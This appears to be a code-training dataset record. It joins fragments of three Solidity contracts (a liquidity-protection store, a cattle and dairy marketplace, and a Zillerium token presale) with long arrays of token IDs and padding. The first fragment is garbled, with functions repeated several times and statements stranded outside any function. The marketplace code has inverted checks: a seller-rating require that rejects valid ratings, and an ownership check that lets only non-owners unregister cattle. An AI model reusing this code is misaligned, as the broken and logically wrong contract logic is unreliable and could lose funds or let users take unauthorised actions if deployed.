uint256 poolAmount = liquidity.poolAmount;
uint256 reserveAmount = liquidity.reserveAmount;
delete protectedLiquidities[_id];
uint256[] storage ids = protectedLiquidityIdsByProvider[provider];
uint256 length = ids.length;
assert(length > 0);
uint256 lastIndex = length - 1;
if (index < lastIndex) {
uint256 lastId = ids[lastIndex];
ids[index] = lastId;
protectedLiquidities[lastId].index = index;
}
ids.pop();
totalProtectedReserveAmounts[poolToken][reserveToken] = totalProtectedReserveAmounts[poolToken][reserveToken].sub(reserveAmount);
emit ProtectionRemoved(provider, poolToken, reserveToken, poolAmount, reserveAmount);
}
function removeProtectedLiquidity(uint256 _id) external override ownerOnly {
ProtectedLiquidity storage liquidity = protectedLiquidities[_id];
address provider = liquidity.provider;
require(provider != address(0), "ERR_INVALID_ID");
uint256 index = liquidity.index;
IDSToken poolToken = liquidity.poolToken;
IERC20Token reserveToken = liquidity.reserveToken;
uint256 poolAmount = liquidity.poolAmount;
uint256 reserveAmount = liquidity.reserveAmount;
delete protectedLiquidities[_id];
uint256[] storage ids = protectedLiquidityIdsByProvider[provider];
uint256 length = ids.length;
assert(length > 0);
uint256 lastIndex = length - 1;
if (index < lastIndex) {
uint256 lastId = ids[lastIndex];
ids[index] = lastId;
protectedLiquidities[lastId].index = index;
}
ids.pop();
totalProtectedReserveAmounts[poolToken][reserveToken] = totalProtectedReserveAmounts[poolToken][reserveToken].sub(reserveAmount);
emit ProtectionRemoved(provider, poolToken, reserveToken, poolAmount, reserveAmount);
}
totalProtectedPoolAmounts[poolToken] = totalProtectedPoolAmounts[poolToken].sub(poolAmount);
function lockedBalanceCount(address _provider) external view returns (uint256) {
return lockedBalances[_provider].length;
}
function lockedBalance(address _provider, uint256 _index) external view override returns (uint256, uint256) {
LockedBalance storage balance = lockedBalances[_provider][_index];
return (
balance.amount,
balance.expirationTime
);
}
function lockedBalanceRange(address _provider, uint256 _startIndex, uint256 _endIndex)
external
view
override
returns (uint256[] memory, uint256[] memory)
{
if (_endIndex > lockedBalances[_provider].length) {
_endIndex = lockedBalances[_provider].length;
}
uint256[] memory amounts = new uint256[](length);
uint256[] memory expirationTimes = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
LockedBalance storage balance = lockedBalances[_provider][_startIndex + i];
amounts[i] = balance.amount;
expirationTimes[i] = balance.expirationTime;
}
return (amounts, expirationTimes);
}
function lockedBalanceRange(address _provider, uint256 _startIndex, uint256 _endIndex)
external
view
override
returns (uint256[] memory, uint256[] memory)
{
if (_endIndex > lockedBalances[_provider].length) {
_endIndex = lockedBalances[_provider].length;
}
uint256[] memory amounts = new uint256[](length);
uint256[] memory expirationTimes = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
LockedBalance storage balance = lockedBalances[_provider][_startIndex + i];
amounts[i] = balance.amount;
expirationTimes[i] = balance.expirationTime;
}
return (amounts, expirationTimes);
}
require(_endIndex > _startIndex, "ERR_INVALID_INDICES");
uint256 length = _endIndex - _startIndex;
function lockedBalanceRange(address _provider, uint256 _startIndex, uint256 _endIndex)
external
view
override
returns (uint256[] memory, uint256[] memory)
{
if (_endIndex > lockedBalances[_provider].length) {
_endIndex = lockedBalances[_provider].length;
}
uint256[] memory amounts = new uint256[](length);
uint256[] memory expirationTimes = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
LockedBalance storage balance = lockedBalances[_provider][_startIndex + i];
amounts[i] = balance.amount;
expirationTimes[i] = balance.expirationTime;
}
return (amounts, expirationTimes);
}
function addLockedBalance(address _provider, uint256 _amount, uint256 _expirationTime)
external
override
ownerOnly
validAddress(_provider)
notThis(_provider)
greaterThanZero(_amount)
greaterThanZero(_expirationTime)
returns (uint256)
{
lockedBalances[_provider].push(LockedBalance({
amount: _amount,
expirationTime: _expirationTime
}));
emit BalanceLocked(_provider, _amount, _expirationTime);
return lockedBalances[_provider].length - 1;
}
function addLockedBalance(address _provider, uint256 _amount, uint256 _expirationTime)
external
override
ownerOnly
validAddress(_provider)
notThis(_provider)
greaterThanZero(_amount)
greaterThanZero(_expirationTime)
returns (uint256)
{
lockedBalances[_provider].push(LockedBalance({
amount: _amount,
expirationTime: _expirationTime
}));
emit BalanceLocked(_provider, _amount, _expirationTime);
return lockedBalances[_provider].length - 1;
}
function removeLockedBalance(address _provider, uint256 _index)
external
override
ownerOnly
validAddress(_provider)
{
LockedBalance[] storage balances = lockedBalances[_provider];
uint256 length = balances.length;
require(_index < length, "ERR_INVALID_INDEX");
uint256 amount = balances[_index].amount;
uint256 lastIndex = length - 1;
if (_index < lastIndex) {
balances[_index] = balances[lastIndex];
}
balances.pop();
emit BalanceUnlocked(_provider, amount);
}
function removeLockedBalance(address _provider, uint256 _index)
external
override
ownerOnly
validAddress(_provider)
{
LockedBalance[] storage balances = lockedBalances[_provider];
uint256 length = balances.length;
require(_index < length, "ERR_INVALID_INDEX");
uint256 amount = balances[_index].amount;
uint256 lastIndex = length - 1;
if (_index < lastIndex) {
balances[_index] = balances[lastIndex];
}
balances.pop();
emit BalanceUnlocked(_provider, amount);
}
function systemBalance(IERC20Token _token) external view override returns (uint256) {
return systemBalances[_token];
}
function incSystemBalance(IERC20Token _token, uint256 _amount)
external
override
ownerOnly
validAddress(address(_token))
{
uint256 prevAmount = systemBalances[_token];
uint256 newAmount = prevAmount.add(_amount);
systemBalances[_token] = newAmount;
emit SystemBalanceUpdated(_token, prevAmount, newAmount);
}
function decSystemBalance(IERC20Token _token, uint256 _amount)
external
override
ownerOnly
validAddress(address(_token))
{
uint256 prevAmount = systemBalances[_token];
uint256 newAmount = prevAmount.sub(_amount);
systemBalances[_token] = newAmount;
emit SystemBalanceUpdated(_token, prevAmount, newAmount);
}
function totalProtectedPoolAmount(IDSToken _poolToken) external view returns (uint256) {
return totalProtectedPoolAmounts[_poolToken];
}
function totalProtectedReserveAmount(IDSToken _poolToken, IERC20Token _reserveToken) external view returns (uint256) {
return totalProtectedReserveAmounts[_poolToken][_reserveToken];
}
}
| 2,633,363 | [
1,
1986,
511,
18988,
24237,
1186,
9694,
4994,
6835,
26255,
487,
326,
2502,
434,
326,
4501,
372,
24237,
17862,
12860,
18,
2597,
14798,
326,
501,
471,
2430,
471,
353,
1661,
731,
9974,
429,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
511,
18988,
24237,
16938,
2257,
353,
467,
48,
18988,
24237,
16938,
2257,
16,
14223,
11748,
16,
3155,
1503,
16,
6091,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
203,
565,
1958,
8828,
1016,
288,
203,
3639,
1426,
4908,
31,
203,
3639,
2254,
5034,
460,
31,
203,
565,
289,
203,
203,
565,
1958,
1186,
1050,
48,
18988,
24237,
288,
203,
565,
289,
203,
203,
565,
1958,
3488,
329,
13937,
288,
203,
565,
289,
203,
203,
565,
2874,
12,
45,
5072,
11605,
516,
8828,
1016,
13,
3238,
2845,
18927,
8776,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
63,
5717,
3238,
4750,
48,
18988,
24237,
2673,
858,
2249,
31,
203,
565,
2874,
261,
11890,
5034,
516,
1186,
1050,
48,
18988,
24237,
13,
3238,
4750,
48,
18988,
350,
1961,
31,
203,
203,
203,
203,
565,
2874,
261,
734,
882,
969,
516,
565,
2874,
261,
45,
654,
39,
3462,
1345,
516,
2254,
5034,
3719,
3238,
2078,
15933,
607,
6527,
6275,
87,
31,
203,
203,
3639,
467,
5072,
11605,
8808,
389,
6011,
11605,
16,
203,
3639,
1426,
389,
9665,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
389,
6778,
16,
203,
3639,
1599,
882,
969,
8808,
565,
389,
6011,
1345,
16,
203,
3639,
467,
654,
39,
3462,
1345,
8808,
389,
455,
6527,
1345,
16,
203,
3639,
2254,
5034,
389,
6011,
6275,
16,
203,
3639,
2254,
5034,
389,
455,
6527,
6275,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
389,
6778,
16,
203,
3639,
2254,
5034,
389,
10001,
2864,
6275,
16,
203,
3639,
2
] |
pragma solidity ^0.5.8;
import "./Owned.sol";
import "./BirthDate.sol";
contract MarketPlace is Owned {
//structure of farmer - buyer/seller
struct Farmer {
uint aadhaar; // aadhar id of the farmer
address farmer_address; // blockchain identifier of the farmer
string name;
string residence_address;
string email;
string phone;
}
//structure of cattle
struct Cattle {
uint cattle_id; // unique id of the cattle
address cattle_address; // blockchain identifier of the cattle
address owner;
string name;
uint age;
string breed;
uint lastCalfBirth;
bool isCow;
uint milkInLiters;
string health;
string description;
}
//structure of dairy_company
struct Dairy_Company {
uint dairy_id; // unique id of the dairy_company
address dairy_company_address; // blockchain identifier of the dairy_company
string name;
string residence_address;
string email;
string phone;
string description;
}
//structure of Veterinarian
struct Veterinarian {
uint veterinarians_id; // unique id of the Veterinarian
address veterinarians_address; // blockchain identifier of the Veterinarian
string name;
string residence_address;
string email;
string phone;
string description;
}
// Global Veriables
uint nFarmers;
uint nCowsPerFarmer;
uint nDaires;
uint nVeterinarian;
uint cattleCounter = 0;
uint dairyCounter = 0;
uint veterinarianCounter = 0;
// address to borrower map
mapping (address => Farmer) public cattle_to_owner_map;
mapping (address => uint) public seller_rating_map;
mapping(uint => Cattle) public cattles_for_sell_map;
uint cattlesForSellCount;
address[2] dummyFarmers = [0x02e292B88FAF7ca8118b66956faf418724bC3B30, 0x86F6d73036673B379b2b97e6b02f6B100815C7fA];
address[6] dummyCattles = [0xfC8CDa1B389223fA8b827687Cd4124C6F2936a7D, 0xF03Bf8432548F49B2782dE4A4a37D1BCb7115557, 0x2FcB336F47dfc35bB68cF595F1C352Fab47E701e, 0x58536970581B2D7D0D789fD4b7297e7D18aDe90E, 0x53ea6c69BD5d0906c226e9Cba5b7D4177656FA06, 0xbd588caC001Ef83e5ddd3021647d5041B19202f5];
address dummyDairy = 0x0C07945aC6f20B409248CDBBffac32265e71a444;
address dummyVeterinarian = 0x2CD001b47Abd5bB9BBfd8d01f30F0B76917Fa496;
//Events
event sellCattleEvent(
uint indexed _id,
address indexed _seller,
string _name,
uint256 _price);
event sellMilkEvent(
uint indexed _id,
address indexed _seller,
string _name,
uint256 _price);
event buyCattleEvent(
uint indexed _id,
address indexed _seller,
address indexed _buyer,
string _name,
uint256 _price);
Farmer[] Farmers;// = new Farmer[](nFarmers);
Cattle[] Cattles;// = new Cattle[](nCowsPerFarmer);
Dairy_Company[] Dairy_Companies;// = new Dairy_Company[](nDaires);
Veterinarian[] Veterinarians;// = new Veterinarian[](nVeterinarian);
constructor() public {
}
/*constructor(uint _n_farmers, uint _n_cowsperfarmer, uint _n_daires, uint _n_veterinarian) public {
nFarmers = _n_farmers;
nCowsPerFarmer = _n_cowsperfarmer;
nDaires = _n_daires;
nVeterinarian = _n_veterinarian;
}*/
function registerAccount (uint _accountType, string memory _name, string memory _emailId, string memory _resAddress, string memory _phone, string memory _password1, uint _identity) public {
require(_identity != 0, "Invalid identity number!");
if (_accountType == 1) // Farmer
{
//for (uint i = 0; i < Farmers.length; i++)
//{
// require(Farmers[i].farmer_address != _new_farmer, "Farmer already added into the network!");
//}
Farmers.push(Farmer({
aadhaar: _identity,
farmer_address: dummyFarmers[Farmers.length % (dummyFarmers.length - 1)],
name: _name,
residence_address: _resAddress,
email: _emailId,
phone: _phone
}));
}
else if (_accountType == 2) // Veterinarian
{
//for (uint i = 0; i < Veterinarians.length; i++)
//{
// require(Veterinarians[i].veterinarians_address != _new_veterinarian, "Veterinarian already added into the network!");
//}
Veterinarians.push(Veterinarian({
veterinarians_id: ++veterinarianCounter, // unique id of the Veterinarian
veterinarians_address: dummyVeterinarian, // blockchain identifier of the Veterinarian
name: _name,
residence_address: _resAddress,
email: _emailId,
phone: _phone,
description: ""
}));
}
else if (_accountType == 3) // Dairy Company
{
//for (uint i = 0; i < Dairy_Companies.length; i++)
//{
// //require(Dairy_Companies[i].dairy_company_address != _new_dairy, "Dairy already added into the network!");
//}
Dairy_Companies.push(Dairy_Company({
dairy_id: ++dairyCounter, // unique id of the dairy_company
dairy_company_address: dummyDairy, // blockchain identifier of the dairy_company
name: _name,
residence_address: _resAddress,
email: _emailId,
phone: _phone,
description: ""
}));
}
}
// ====================== Farmer (buyer or seller) Functions Start ======================
function RegisterFarmer(address _new_farmer, string memory _name, string memory _res_address, string memory _email, string memory _phone, uint _aadhaar, bool _asSeller/*?*/) public {
require(_aadhaar != 0, "Invalid aadhaar number!");
for (uint i = 0; i < Farmers.length; i++)
{
require(Farmers[i].farmer_address != _new_farmer, "Farmer already added into the network!");
}
Farmers.push(Farmer({
aadhaar: _aadhaar,
farmer_address: _new_farmer,
name: _name,
residence_address: _res_address,
email: _email,
phone: _phone
}));
}
function UnRegisterFarmer(address farmer) public {
//- self unregistration
for (uint i = 0; i < Farmers.length; i++)
{
if (Farmers[i].farmer_address == farmer)
{
delete Farmers[i];
break;
}
}
}
function SetBasePriceForCattle(address cattle, uint baseprice) public {
//- farmer should be the owner of the cattle
}
function StartAuctionForCattle(address cattle, uint acutionperiod) public {
// - farmer should be the owner of the cattle
}
function EndAuctionForCattle(address cattle) public {
// - farmer should be the owner of the cattle, - the ownership of the cattle has to be transferred
}
function SetBasePriceFoCowMilk(address cattle, uint baseprice) public {
// - baseprice - per liter, - farmer should be the owner of the cattle
}
function StartAuctionForCowMilk(address cattle, uint acutionperiod, uint milkInLiters) public {
// auctionperiod is in mins
// - total price = baseprice * milkInLiters, - farmer should be the owner of the cattle
}
function EndAuctionForCowMilk(address cattle) public {
// - farmer should be the owner of the cattle, the ownership of the cow milk has to be transferred
}
function RegisterCattle(string memory _name, uint _age, string memory _breed, uint _lastCalfBirth, bool _isCow, uint _milkInLiters/*?*/, string memory _health/*?*/, string memory _description) public {
// - owner should be registered before hand into the system, - health last updated, - get health confirmation from the veterinarians
//for (uint i = 0; i < Cattles.length; i++)
//{
// require(Cattles[i].cattle_address != _new_cattle, "Cattle already added into the network!");
//}
Cattles.push(Cattle({
cattle_id: ++cattleCounter, // unique id of the cattle
cattle_address: dummyCattles[Cattles.length % (dummyCattles.length - 1)], // blockchain identifier of the cattle
owner:msg.sender,
name: _name,
age: _age,
breed: _breed,
lastCalfBirth: _lastCalfBirth,
isCow: _isCow,
milkInLiters: _milkInLiters,
health: _health,
description: _description
}));
// Fillup the cattle ownership map
for (uint i = 0; i < Farmers.length; i++)
{
if (Farmers[i].farmer_address == msg.sender)
{
cattle_to_owner_map[dummyCattles[Cattles.length % (dummyCattles.length - 1)]] = Farmers[i]; // This Farmer is the owner of the cattle
break;
}
}
}
function RequestHealthConfirmation(uint vid, address cattle, string memory health) public {
// - get health confirmation from the veterinarians
}
function HealthConfirmed(address cattle) public {
// - event raised by Veterinarians
}
function UpdateCattleHealth(/*?*/) public {
// - health certificate or health as - good, not-good, better, best?, - get health confirmation from the veterinarians
}
function UnRegisterCattle(address cattle) public {
// - farmer should be the owner of the cattle
for (uint i = 0; i < Cattles.length; i++)
{
if (Cattles[i].cattle_address == cattle)
{
require(Cattles[i].owner != msg.sender, "Farmer should be the owner of the cattle!");
delete Cattles[i];
break;
}
}
}
function PublishRequirement(address buyer, string memory breedofcow, uint ageofcow, bool milk, uint milkInLiters /*or numberofcattles if no milk*/) public {
// - buyer's milk or cattle/cow requirement
// ToDo: auto choose seller
ChooseSeller();
}
function ChooseSeller() private {
// - private function, choses the seller based on the given requirements from the buyer
}
function RateBuyer(address buyer, uint rating) public {
}
function RateSeller(address seller, uint rating) public {
// - Based on the past transactions and feedback from the buyer, the sellers will be given a trust score.
require(rating > 5, "Rating should be within the range of 1 to 5!");
seller_rating_map[seller] = rating;
}
function RateDairy(address dairy, uint rating) public {
}
// ====================== Farmer (buyer or seller) Functions End ======================
// ====================== DairyCompany Functions Start ======================
function RegisterDairy(address _new_dairy, string memory _name, string memory _res_address, string memory _email, string memory _phone, string memory _description) public {
for (uint i = 0; i < Dairy_Companies.length; i++)
{
require(Dairy_Companies[i].dairy_company_address != _new_dairy, "Dairy already added into the network!");
}
Dairy_Companies.push(Dairy_Company({
dairy_id: ++dairyCounter, // unique id of the dairy_company
dairy_company_address: _new_dairy, // blockchain identifier of the dairy_company
name: _name,
residence_address: _res_address,
email: _email,
phone: _phone,
description: _description
}));
}
function SetPriceForCattle(address cattle, uint price) public {
// - criteria - acution should be in progress for that particular cattle.
}
function UnRegisterDairy(address dairy) public {
for (uint i = 0; i < Dairy_Companies.length; i++)
{
if (Dairy_Companies[i].dairy_company_address == dairy)
{
delete Dairy_Companies[i];
break;
}
}
}
// ====================== DairyCompany Functions End ======================
// ====================== Veterinarians Functions Start ======================
function RegisterVeterinarian(address _new_veterinarian, string memory _name, string memory _res_address, string memory _email, string memory _phone, string memory _description) public {
// - Unique Id
for (uint i = 0; i < Veterinarians.length; i++)
{
require(Veterinarians[i].veterinarians_address != _new_veterinarian, "Veterinarian already added into the network!");
}
Veterinarians.push(Veterinarian({
veterinarians_id: ++veterinarianCounter, // unique id of the Veterinarian
veterinarians_address: _new_veterinarian, // blockchain identifier of the Veterinarian
name: _name,
residence_address: _res_address,
email: _email,
phone: _phone,
description: _description
}));
}
function ConfirmHealth(address cattle, string memory health) public {
// - raises confirm event
}
function GetHealthConfirmationRequests() public {
}
function UnRegisterVeterinarian(address veterinarian) public {
for (uint i = 0; i < Veterinarians.length; i++)
{
if (Veterinarians[i].veterinarians_address == veterinarian)
{
delete Veterinarians[i];
break;
}
}
}
// ====================== Veterinarians Functions End ======================
//kill the smart contract
function kill() private onlyOwner {
//selfdestruct(owner);
}
}
| - get health confirmation from the veterinarians | function RequestHealthConfirmation(uint vid, address cattle, string memory health) public {
}
| 14,081,551 | [
1,
17,
336,
8437,
14296,
628,
326,
331,
847,
267,
12954,
634,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1567,
7802,
17597,
12,
11890,
18339,
16,
1758,
276,
4558,
298,
16,
533,
3778,
8437,
13,
1071,
288,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xb533aae346245e2e05b23f420C140bCA2529b8a6
//Contract name: ZilleriumPresale
//Balance: 0 Ether
//Verification Date: 1/16/2017
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.4;
contract SafeMath
{
function safeMul(uint a, uint b) internal returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint)
{
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint)
{
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal
{
if (!assertion) throw;
}
}
// Standard token interface (ERC 20)
// https://github.com/ethereum/EIPs/issues/20
contract Token
{
// Functions:
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
// Events:
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StdToken is Token
{
// Fields:
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public allSupply = 0;
// Functions:
function transfer(address _to, uint256 _value) returns (bool success)
{
if((balances[msg.sender] >= _value) && (balances[_to] + _value > balances[_to]))
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else
{
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
{
if((balances[_from] >= _value) && (allowed[_from][msg.sender] >= _value) && (balances[_to] + _value > balances[_to]))
{
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
else
{
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance)
{
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256 supplyOut)
{
supplyOut = allSupply;
return;
}
}
contract ZilleriumToken is StdToken
{
string public name = "Zillerium Token";
uint public decimals = 18;
string public symbol = "ZTK";
address public creator = 0x0;
address public tokenClient = 0x0; // who can issue more tokens
bool locked = false;
function ZilleriumToken()
{
creator = msg.sender;
tokenClient = msg.sender;
}
function changeClient(address newAddress)
{
if(msg.sender!=creator)throw;
tokenClient = newAddress;
}
function lock(bool value)
{
if(msg.sender!=creator) throw;
locked = value;
}
function transfer(address to, uint256 value) returns (bool success)
{
if(locked)throw;
success = super.transfer(to, value);
return;
}
function transferFrom(address from, address to, uint256 value) returns (bool success)
{
if(locked)throw;
success = super.transferFrom(from, to, value);
return;
}
function issueTokens(address forAddress, uint tokenCount) returns (bool success)
{
if(msg.sender!=tokenClient)throw;
if(tokenCount==0) {
success = false;
return ;
}
balances[forAddress]+=tokenCount;
allSupply+=tokenCount;
success = true;
return;
}
}
contract Presale
{
// Will allow changing the block number if set to true
bool public isStop = false;
uint public presaleTokenSupply = 0; //this will keep track of the token supply created during the crowdsale
uint public presaleEtherRaised = 0; //this will keep track of the Ether raised during the crowdsale
// Parameters:
uint public maxPresaleWei = 0;
uint public presaleTotalWei = 0;
// Please see our whitepaper for details
// sell 2.5M tokens for the pre-ICO with a 20% bonus
// 1 ETH = 500 tokens
function getCurrentTokenPriceWei() constant returns (uint out)
{
out = 2000000000000000; // 2000000000000000 Wei = 1 token
return;
}
}
contract ZilleriumPresale is Presale, SafeMath
{
address public creator = 0x0;
address public fund = 0x0;
ZilleriumToken public zilleriumToken;
// Events:
event Buy(address indexed sender, uint eth, uint fbt);
// Functions:
function ZilleriumPresale(
address zilleriumToken_,
uint maxIcoEth_,
address fundAddress_)
{
creator = msg.sender;
zilleriumToken = ZilleriumToken(zilleriumToken_);
maxPresaleWei = maxIcoEth_ * 10**18;
fund = fundAddress_;
}
function transfer(address _to, uint256 _value) returns (bool success)
{
if(!presaleEnded() && (msg.sender!=creator)) {
throw;
}
return zilleriumToken.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success)
{
if(!presaleEnded() && (msg.sender!=creator)) {
throw;
}
return zilleriumToken.transferFrom(_from, _to, _value);
}
function stop(bool _stop)
{
if(msg.sender!=creator) throw;
isStop = _stop;
}
function buyTokens()
{
address to = msg.sender;
buyTokensFor(to);
}
function buyTokensFor(address to)
{
if(msg.value==0) throw;
if(isStop) throw;
if(presaleEnded()) throw;
uint pricePerToken = getCurrentTokenPriceWei();
if(msg.value<pricePerToken)
{
// Not enough Wei to buy at least 1 token
throw;
}
// the div rest is not returned!
uint tokens = (msg.value / pricePerToken);
if(!fund.send(msg.value))
{
// Can not send money
throw;
}
zilleriumToken.issueTokens(to,tokens);
presaleTotalWei = safeAdd(presaleTotalWei, msg.value);
Buy(to, msg.value, tokens);
}
function presaleEnded() returns(bool){
return (presaleTotalWei>=maxPresaleWei);
}
/// This function is called when someone sends money to this contract directly.
function()
{
throw;
}
}
| 2000000000000000 Wei = 1 token
| out = 2000000000000000; | 12,898,044 | [
1,
22,
12648,
17877,
1660,
77,
273,
404,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
